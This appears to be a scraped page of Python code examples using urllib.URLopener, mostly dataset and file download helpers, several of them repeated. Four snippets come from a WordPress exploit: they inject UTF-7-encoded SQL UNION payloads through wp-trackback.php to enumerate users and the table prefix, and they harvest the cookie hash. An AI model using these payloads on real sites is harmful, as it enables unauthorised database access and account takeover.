Python urllib.URLopener() Examples

def download_file(url, destination=''):
    if not destination:
        fd, destination = tempfile.mkstemp()
        os.remove(destination)
        os.close(fd)

    if not os.path.isfile(destination):
        ctx.logger.info('Downloading {0} to {1}...'.format(
            url, destination))
        try:
            final_url = urllib.urlopen(url).geturl()
            if final_url != url:
                ctx.logger.debug('Redirected to {0}'.format(final_url))
            f = urllib.URLopener()
            # TODO: try except with @retry
            f.retrieve(final_url, destination)
        except Exception:
            curl_download_with_retries(url, destination)
    else:
        ctx.logger.debug('File {0} already exists...'.format(destination))
    return destination 

def _download_data(self):
        if osp.exists(self.root):
            print("This dataset has been downloaded.")
            return

        mkdir_if_missing(self.root)
        fpath = osp.join(self.root, osp.basename(self.dataset_url))

        print("Downloading iLIDS-VID dataset")
        url_opener = urllib.URLopener()
        url_opener.retrieve(self.dataset_url, fpath)

        print("Extracting files")
        tar = tarfile.open(fpath)
        tar.extractall(path=self.root)
        tar.close() 

def _download_data(self):
        if osp.exists(self.dataset_dir):
            print("This dataset has been downloaded.")
            return

        print("Creating directory {}".format(self.dataset_dir))
        mkdir_if_missing(self.dataset_dir)
        fpath = osp.join(self.dataset_dir, osp.basename(self.dataset_url))

        print("Downloading DukeMTMC-VideoReID dataset")
        url_opener = urllib.URLopener()
        url_opener.retrieve(self.dataset_url, fpath)        

        print("Extracting files")
        zip_ref = zipfile.ZipFile(fpath, 'r')
        zip_ref.extractall(self.dataset_dir)
        zip_ref.close() 

def download_snli():
    '''Creates data and snli paths and downloads SNLI in the home dir'''
    home = os.environ['HOME']
    data_dir = join(home, '.data')
    snli_dir = join(data_dir, 'snli')
    snli_url = 'http://nlp.stanford.edu/projects/snli/snli_1.0.zip'

    if not os.path.exists(data_dir):
        os.mkdir(data_dir)

    if not os.path.exists(snli_dir):
        os.mkdir(snli_dir)

    if not os.path.exists(join(data_dir, 'snli_1.0.zip')):
        print('Downloading SNLI...')
        snlidownload = urllib.URLopener()
        snlidownload.retrieve(snli_url, join(data_dir, "snli_1.0.zip"))

    print('Opening zip file...')
    archive = zipfile.ZipFile(join(data_dir, 'snli_1.0.zip'), 'r')

    return archive, snli_dir 

def download_snli():
    '''Creates data and snli paths and downloads SNLI in the home dir'''
    home = os.environ['HOME']
    data_dir = join(home, '.data')
    snli_dir = join(data_dir, 'snli')
    snli_url = 'http://nlp.stanford.edu/projects/snli/snli_1.0.zip'

    if not os.path.exists(data_dir):
        os.mkdir(data_dir)

    if not os.path.exists(snli_dir):
        os.mkdir(snli_dir)

    if not os.path.exists(join(data_dir, 'snli_1.0.zip')):
        print('Downloading SNLI...')
        snlidownload = urllib.URLopener()
        snlidownload.retrieve(snli_url, join(data_dir, "snli_1.0.zip"))

    print('Opening zip file...')
    archive = zipfile.ZipFile(join(data_dir, 'snli_1.0.zip'), 'r')

    return archive, snli_dir 

def download_snli():
    '''Creates data and snli paths and downloads SNLI in the home dir'''
    home = os.environ['HOME']
    data_dir = join(home, '.data')
    snli_dir = join(data_dir, 'snli')
    snli_url = 'http://nlp.stanford.edu/projects/snli/snli_1.0.zip'

    if not os.path.exists(data_dir):
        os.mkdir(data_dir)

    if not os.path.exists(snli_dir):
        os.mkdir(snli_dir)

    if not os.path.exists(join(data_dir, 'snli_1.0.zip')):
        print('Downloading SNLI...')
        snlidownload = urllib.URLopener()
        snlidownload.retrieve(snli_url, join(data_dir, "snli_1.0.zip"))

    print('Opening zip file...')
    archive = zipfile.ZipFile(join(data_dir, 'snli_1.0.zip'), 'r')

    return archive, snli_dir 

def download_snli():
    '''Creates data and snli paths and downloads SNLI in the home dir'''
    home = os.environ['HOME']
    data_dir = join(home, '.data')
    snli_dir = join(data_dir, 'snli')
    snli_url = 'http://nlp.stanford.edu/projects/snli/snli_1.0.zip'

    if not os.path.exists(data_dir):
        os.mkdir(data_dir)

    if not os.path.exists(snli_dir):
        os.mkdir(snli_dir)

    if not os.path.exists(join(data_dir, 'snli_1.0.zip')):
        print('Downloading SNLI...')
        snlidownload = urllib.URLopener()
        snlidownload.retrieve(snli_url, join(data_dir, "snli_1.0.zip"))

    print('Opening zip file...')
    archive = zipfile.ZipFile(join(data_dir, 'snli_1.0.zip'), 'r')

    return archive, snli_dir 

def __init__(self, wsdlsource, config=Config, **kw ):

        reader = wstools.WSDLTools.WSDLReader()
        self.wsdl = None

        # From Mark Pilgrim's "Dive Into Python" toolkit.py--open anything.
        if self.wsdl is None and hasattr(wsdlsource, "read"):
            print 'stream:', wsdlsource
            try:
                self.wsdl = reader.loadFromStream(wsdlsource)
            except xml.parsers.expat.ExpatError, e:
                newstream = urllib.URLopener(key_file=config.SSL.key_file, cert_file=config.SSL.cert_file).open(wsdlsource)
                buf = newstream.readlines()
                raise Error, "Unable to parse WSDL file at %s: \n\t%s" % \
                      (wsdlsource, "\t".join(buf))
                

        # NOT TESTED (as of April 17, 2003)
        #if self.wsdl is None and wsdlsource == '-':
        #    import sys
        #    self.wsdl = reader.loadFromStream(sys.stdin)
        #    print 'stdin' 

def main():
    print('Downloading Update from HEAD...')
    #Need the cert to access github
    os.environ["REQUESTS_CA_BUNDLE"] = os.path.join(os.getcwd(), "cacert.pem")
    
    #Get the Zipfile from Github
    base_url='https://github.com/digiholic/universalSmashSystem/archive/master.zip'
    page = urllib.urlopen(base_url)
    
    #Download the zipfile
    downloader = urllib.URLopener()
    downloader.retrieve(page.geturl(), settingsManager.createPath('update.zip'))
    
    #Extract it
    updatezip = zipfile.ZipFile(settingsManager.createPath('update.zip'))
    updatezip.extractall('tmp')
    
    print('Copying files into game directory...')
    #Copy the files upward, then remove the tmp files
    tmp_path = settingsManager.createPath('tmp'+os.sep+'universalSmashSystem-master'+os.sep)
    recursive_overwrite(tmp_path, settingsManager.createPath(''))
    shutil.rmtree(tmp_path)
    os.remove(settingsManager.createPath('update.zip'))
    
    print('Done!') 

def determineTablePrefix(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to determine mysql table prefix"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : '+ACc-ILLEGAL'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[-] Table prefix cannot be determined... exploit not possible"
            sys.exit(-2)
            return "" 

def determineIsMbstringInstalled(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if mbstring is installed"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : '+ADA-'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[+] ext/mbstring is installed. continue with exploit"
            return 1 

def determineCookieHash(host):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to retrieve cookie hash"
    
    try:
        req = wclient.open(host + "/wp-login.php?action=logout")
    except IOError, e:
        if e[1] == 302:
            # Got a 302 redirect, but check for cookies before redirecting.
            # e[3] is a httplib.HTTPMessage instance.
            if e[3].dict.has_key('set-cookie'):
                cookie = e[3].dict['set-cookie'];
                chash = cookie[string.find(cookie, "user_")+5:]
                chash = chash[:string.find(chash, "=")]
                print "[+] Cookie hash found: %s" % chash
                return chash 

def _download_data(self):
        if osp.exists(self.dataset_dir):
            print("This dataset has been downloaded.")
            return

        mkdir_if_missing(self.dataset_dir)
        fpath = osp.join(self.dataset_dir, osp.basename(self.dataset_url))

        print("Downloading iLIDS-VID dataset")
        url_opener = urllib.URLopener()
        url_opener.retrieve(self.dataset_url, fpath)

        print("Extracting files")
        tar = tarfile.open(fpath)
        tar.extractall(path=self.dataset_dir)
        tar.close() 

def try_download(_path, _file, _url, _stale,):
    now = time()
    url = URLopener()
    file_exists = isfile(_path+_file) == True
    if file_exists:
        file_old = (getmtime(_path+_file) + _stale) < now
    if not file_exists or (file_exists and file_old):
        try:
            url.retrieve(_url, _path+_file)
            result = 'ID ALIAS MAPPER: \'{}\' successfully downloaded'.format(_file)
        except IOError:
            result = 'ID ALIAS MAPPER: \'{}\' could not be downloaded'.format(_file)
    else:
        result = 'ID ALIAS MAPPER: \'{}\' is current, not downloaded'.format(_file)
    url.close()
    return result

# SHORT VERSION - MAKES A SIMPLE {INTEGER ID: 'CALLSIGN'} DICTIONARY 

def load_model_from_url(url):
    # TODO: move this into a class..
    global scoring_model
    url_opener = urllib.URLopener()
    temp_model_path =  get_temp_model_path()
    url_opener.retrieve(url, temp_model_path)

    # try to load the model:
    try:
        temp_model = ScoringModel.from_file(temp_model_path)
    except Exception as e:
        print "Failed to load donwloaded model: %s"%e
        os.remove(temp_model_path)
        raise RuntimeError("Failed to load donwloaded model! error: %s"%e)

    # update model:
    scoring_model = temp_model

    # delete existing model
    if (path.isfile(model_file_path)):
        os.remove(model_file_path)
    os.rename(temp_model_path, model_file_path)


# TODO: move this to an object with an init function... 

def get_all_images(*arg):
    url = arg[0]
    import urllib
    links = get_all_images_links(url)
    print(links)
    if len(arg)>1 and arg[1] == "download":
        s = urlparse(url)
        seed_page = s.scheme+'://'+s.netloc
        i = 0
        while i<len(links):
            link,flag = url_parse(links[i],seed_page)
            print("downloading --> "+link)
            try:
                file = urllib.URLopener()
                file.retrieve(link, str("img "+str(i)+".jpg"))
            except:
                pass
            i = i+1
    else:
        pass



############## Download Google Images ############
#Finding 'Next Image' from the given raw page for users (image search) 

def download(self, links, target_folder='./data'):
        """Download images from a lisk of links"""

        # check links and folder:
        if len(links) < 1:
            print("Error: Empty list, no links provided")
            exit()
        self.images_links = links
        DatasetBuilder.check_folder_existance(target_folder)
        if target_folder[-1] == '/':
            target_folder = target_folder[:-1]

        # start downloading:
        print("Downloading files...")
        progress = 0
        images_nbr = sum([len(self.images_links[key]) for key in self.images_links])
        for keyword, links in self.images_links.items():
            DatasetBuilder.check_folder_existance(target_folder + '/' + keyword, display_msg=False)
            for link in links:
                target_file = target_folder + '/' + keyword + '/' + link.split('/')[-1]
                try:
                    f = urllib.URLopener()
                    f.retrieve(link, target_file)
                except IOError:
                    self.failed_links.append(link)
                progress = progress + 1
                print("\r >> Download progress: ", (progress * 100 / images_nbr), "%...", end="")
                sys.stdout.flush()

        print("\r >> Download progress: ", (progress * 100 / images_nbr), "%")
        print(" >> ", (progress - len(self.failed_links)), " images downloaded")

        # save failed links:
        if len(self.failed_links):
            f2 = open(target_folder + "/failed_list.txt", 'w')
            for link in self.failed_links:
                f2.write(link + "\n")
            print(" >> Failed to download ", len(self.failed_links),
                  " images: access not granted ",
                  "(links saved to: '", target_folder, "/failed_list.txt')") 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def slave_download(target):
    if os.path.isfile(slave_jar):
        os.remove(slave_jar)

    loader = urllib.URLopener()
    loader.retrieve(os.environ['JENKINS_URL'] + '/jnlpJars/slave.jar', '/var/lib/jenkins/slave.jar') 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def download(url, filename):
        opener = urllib.URLopener()
        opener.retrieve(url, filename) 

def download(url, filename):
        opener = urllib.URLopener()
        opener.retrieve(url, filename) 

def _download_file(url, destination):
    logger.info('Downloading %s to %s...', url, destination)

    response = _open_url(url)

    if not response.code == 200:
        raise WagonError(
            "Failed to download file. Request to {0} "
            "failed with HTTP Error: {1}".format(url, response.code))
    final_url = response.geturl()
    if final_url != url and is_verbose():
        logger.debug('Redirected to %s', final_url)
    f = URLopener()
    f.retrieve(final_url, destination) 

def retriever(source, destination, *args):

    class Opener(urllib.URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def refresh(self):
        sock = urllib.URLopener().open(self.url)
        xmlsource = sock.read()
        #sock.close()
        xmldoc = minidom.parseString(xmlsource)
        self.__parse_xmldoc(xmldoc)
        # Update the time used on the next run 

def retriever(source, destination, *args):

    class Opener(URLopener):
        version = randomagent()

    Opener().retrieve(source, destination, *args) 

def checkUsername(host, pid, prefix, name, uid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if user %s is present" % name
    
    if uid != -1:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE ID='%s' /*" % (prefix, uid)
    else:
        sql = "' AND 1=0) UNION SELECT 1 FROM %susers WHERE user_login='%s' /*" % (prefix, name)
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    
    content = req.read()
    
    
    if string.find(content, 'Duplicate') != -1:
        return 1
    if string.find(content, 'Doppelter') != -1:
        return 1
    
    if uid != -1:
        print "[-] Error user_id invalid"
    else:
        print "[-] Error username invalid"
    sys.exit(-2)
    return 0